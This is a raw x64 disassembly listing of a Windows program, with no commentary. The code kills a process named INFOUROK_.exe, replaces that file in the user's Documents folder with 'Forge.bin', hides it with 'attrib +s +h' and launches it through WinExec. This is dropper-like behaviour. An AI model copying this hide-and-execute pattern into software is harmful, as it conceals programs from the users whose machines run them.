call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000245d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002458
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002458
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400024ae
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], r15
lea rax, [rbp + 0x220]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400024c7
cmp rbx, rsi
ja 0x140003396
mov qword [rbp + 0x10], 0xf
cmp rbx, 0xf
ja 0x140002508
mov qword [rbp + 8], rbx
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 8]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 8], 0
jmp 0x1400025ad
mov r15, rbx
or r15, 0xf
cmp r15, rsi
jbe 0x140002547
mov r15, rsi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004e80
mov rcx, rax
test rax, rax
je 0x14000281a
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000257e
cmp r15, 0x16
mov eax, 0x16
cmovb r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x140002570
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003366
jmp 0x140002525
test rcx, rcx
je 0x14000257c
call fcn.140004e80
jmp 0x14000257e
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rbp - 8], rax
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], r15
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x70]
mov byte [rax + rbx], 0
xor r15d, r15d
mov r8, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
sub rax, r8
cmp rax, 0x16
jb 0x140002640
lea rax, [r8 + 0x16]
mov qword [rbp + 8], rax
lea rbx, [rbp - 8]
cmp rcx, 0xf
cmova rbx, qword [rbp - 8]
lea rax, [0x1400065a6]
cmp rax, rbx
jbe 0x1400025fc
lea rax, [rbx + r8]
cmp r13, rax
ja 0x1400025fc
cmp rbx, r13
jbe 0x140002602
mov r15, rbx
sub r15, r13
jmp 0x140002602
mov r15d, 0x16
lea rcx, [rbx + 0x16]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r15]
mov ebx, 0x16
mov r8d, ebx
sub r8, r15
lea rdx, [r13 + 0x16]
add rdx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 8]
jmp 0x14000265a
mov ebx, 0x16
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
mov edx, ebx
lea rcx, [rbp - 8]
call fcn.140004c80
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r15d, r15d
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x16
jb 0x1400026de
lea rax, [rcx + 0x16]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
lea r8d, [r15 + 0x16]
lea rdx, str.Documentslibcurl.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], r15b
lea rax, [rsp + 0x30]
jmp 0x1400026f7
mov qword [rsp + 0x20], rbx
lea r9, str.Documentslibcurl.dll
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140004ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002782
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000277d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000277d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400027d5
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140002826
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002821
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002821
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], r15
lea rax, [rbp + 0x220]
mov rbx, rdi
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002850
cmp rbx, rsi
ja 0x14000339c
mov qword [rbp + 0x30], 0xf
cmp rbx, 0xf
ja 0x140002891
mov qword [rbp + 0x28], rbx
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x18]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x18], 0
jmp 0x140002936
mov r15, rbx
or r15, 0xf
cmp r15, rsi
jbe 0x1400028d0
mov r15, rsi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004e80
mov rcx, rax
test rax, rax
je 0x140002b9d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002907
cmp r15, 0x16
mov eax, 0x16
cmovb r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x1400028f9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000336c
jmp 0x1400028ae
test rcx, rcx
je 0x140002905
call fcn.140004e80
jmp 0x140002907
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], r15
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x70]
mov byte [rax + rbx], 0
xor r15d, r15d
mov r8, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x1400029bd
lea rax, [r8 + 9]
mov qword [rbp + 0x28], rax
lea rbx, [rbp + 0x18]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x18]
lea rax, [0x140006559]
cmp rax, rbx
jbe 0x140002981
lea rax, [rbx + r8]
cmp r14, rax
ja 0x140002981
cmp rbx, r14
jbe 0x140002984
mov r15, rbx
sub r15, r14
jmp 0x140002984
mov r15, r12
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r15]
sub r12, r15
lea rdx, [r15 + 9]
add rdx, r14
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x18]
jmp 0x1400029d3
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov rdx, r12
lea rcx, [rbp + 0x18]
call fcn.140004c80
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r15d, r15d
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
lea r12d, [r15 + 0x16]
cmp rax, r12
jb 0x140002a59
lea rax, [rcx + 0x16]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, r12d
lea rdx, str.Documentsjsoncpp.dll
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], r15b
lea rax, [rsp + 0x30]
jmp 0x140002a72
mov qword [rsp + 0x20], r12
lea r9, str.Documentsjsoncpp.dll
mov rdx, r12
lea rcx, [rsp + 0x30]
call fcn.140004ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
lea rcx, str.jsoncpp.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002b05
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b00
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002b58
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140002ba9
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ba4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ba4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], r15
lea rax, [rbp + 0x220]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002bc2
cmp rbx, rsi
ja 0x1400033a2
mov qword [rbp + 0x70], 0xf
cmp rbx, 0xf
ja 0x140002c03
mov qword [rbp + 0x68], rbx
mov r8, rbx
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x58]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x58], 0
jmp 0x140002c99
mov r14, rbx
or r14, 0xf
cmp r14, rsi
jbe 0x140002c3b
mov r14, rsi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004e80
test rax, rax
je 0x140002c5f
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140002c73
cmp r14, 0x16
cmovb r14, r12
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140002c66
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003372
jmp 0x140002c20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002c73
call fcn.140004e80
mov r15, rax
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], r14
mov r8, rbx
lea rdx, [rbp + 0x220]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rbx], 0
xor r15d, r15d
mov r8, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
sub rax, r8
cmp rax, 0x16
jb 0x140002d25
lea rax, [r8 + 0x16]
mov qword [rbp + 0x68], rax
lea rbx, [rbp + 0x58]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x58]
lea rax, [0x1400065a6]
cmp rax, rbx
jbe 0x140002ce9
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140002ce9
cmp rbx, r13
ja 0x140002ce1
mov r14, r15
jmp 0x140002cec
mov r14, rbx
sub r14, r13
jmp 0x140002cec
mov r14, r12
lea rcx, [rbx + 0x16]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r14]
mov r8, r12
sub r8, r14
lea rdx, [r13 + 0x16]
add rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x58]
jmp 0x140002d3e
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov rdx, r12
lea rcx, [rbp + 0x58]
call fcn.140004c80
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140004c70
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rdx]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rdx + 0x10], r15
mov qword [rdx + 0x18], 0xf
mov byte [rdx], 0
lea r8, str.Documentsjsoncpp.dll
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xb8]
call fcn.140004770
mov rcx, rax
call fcn.1400042e0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0xb8]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x50]
call fcn.1400042f0
nop
lea rcx, [rbp + 0x58]
call fcn.1400042f0
jmp 0x140002f45
xor edx, edx
lea rcx, str.taskkill__f__im_INFOUROK_.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x30]
call fcn.140004350
nop
mov r8, rax
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140004640
nop
lea r8, str.DocumentsINFOUROK_.exe
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.140004770
mov rcx, rax
call fcn.1400042e0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0xb8]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x50]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x30]
call fcn.1400042f0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x30]
call fcn.140004350
nop
mov r8, rax
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140004640
nop
lea r8, str.DocumentsINFOUROK_.exe
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.140004770
mov rcx, rax
call fcn.1400042e0
mov rdx, rax
mov r8d, 1
lea rcx, str.Forge.bin
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp + 0xb8]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x50]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x30]
call fcn.1400042f0
lea rdx, [rbp + 0x220]
lea rcx, [rsp + 0x30]
call fcn.140004350
nop
mov r8, rax
lea rdx, str.attrib_s_h_C:Users_
lea rcx, [rsp + 0x50]
call fcn.140004640
nop
lea r8, str.DocumentsINFOUROK_.exe
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.140004770
mov rcx, rax
call fcn.1400042e0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0xb8]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x50]
call fcn.1400042f0
nop
lea rcx, [rsp + 0x30]
call fcn.1400042f0
mov r12d, 0x16
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], r15
lea rax, [rbp + 0x220]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002f66
cmp rdi, rsi
ja 0x140003348
mov qword [rbp + 0x50], 0xf
cmp rdi, 0xf
ja 0x140002fa7
mov qword [rbp + 0x48], rdi
mov r8, rdi
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x38]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0x38], 0
jmp 0x14000303b
mov rax, rdi
or rax, 0xf
cmp rax, rsi
jbe 0x140002fe0
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004e80
test rax, rax
je 0x1400032b1
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140003019
cmp rax, 0x16
cmovb rax, r12
mov rsi, rax
lea rcx, [rax + 1]
cmp rcx, 0x1000
jb 0x140003007
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003378
jmp 0x140002fc1
test rcx, rcx
je 0x140003016
call fcn.140004e80
mov rbx, rax
jmp 0x140003019
mov rbx, r15
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x50], rsi
mov r8, rdi
lea rdx, [rbp + 0x220]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
mov r8, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
sub rax, r8
mov r14d, 0xa
lea rsi, str._C:Users_
cmp rax, r14
jb 0x1400030d3
lea rax, [r8 + 0xa]
mov qword [rbp + 0x48], rax
lea rbx, [rbp + 0x38]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x38]
lea rax, [0x140006652]
cmp rax, rbx
jbe 0x140003097
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140003097
cmp rbx, rsi
ja 0x14000308f
mov rdi, r15
jmp 0x14000309a
mov rdi, rbx
sub rdi, rsi
jmp 0x14000309a
mov rdi, r14
lea rcx, [rbx + 0xa]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r14, rdi
lea rdx, [rsi + 0xa]
add rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x38]
jmp 0x1400030e9
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov rdx, r14
lea rcx, [rbp + 0x38]
call fcn.140004c80
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x19
jb 0x14000316c
lea rax, [rcx + 0x19]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x19
lea rdx, str.DocumentsINFOUROK_.exe_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x19], 0
lea rax, [rsp + 0x30]
jmp 0x14000318b
mov qword [rsp + 0x20], 0x19
lea r9, str.DocumentsINFOUROK_.exe_
mov edx, 0x19
lea rcx, [rsp + 0x30]
call fcn.140004ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
mov edx, 5
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003219
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003214
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003214
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000326c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003267
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003267
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x1400032be
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ebc
nop
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x100], rax
mov rax, qword [rbp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xfc], edx
lea rcx, [rbp + 0x110]
call fcn.140004010
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.140004e60
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
nop
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.140001110
nop
call fcn.1400011b0
nop
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3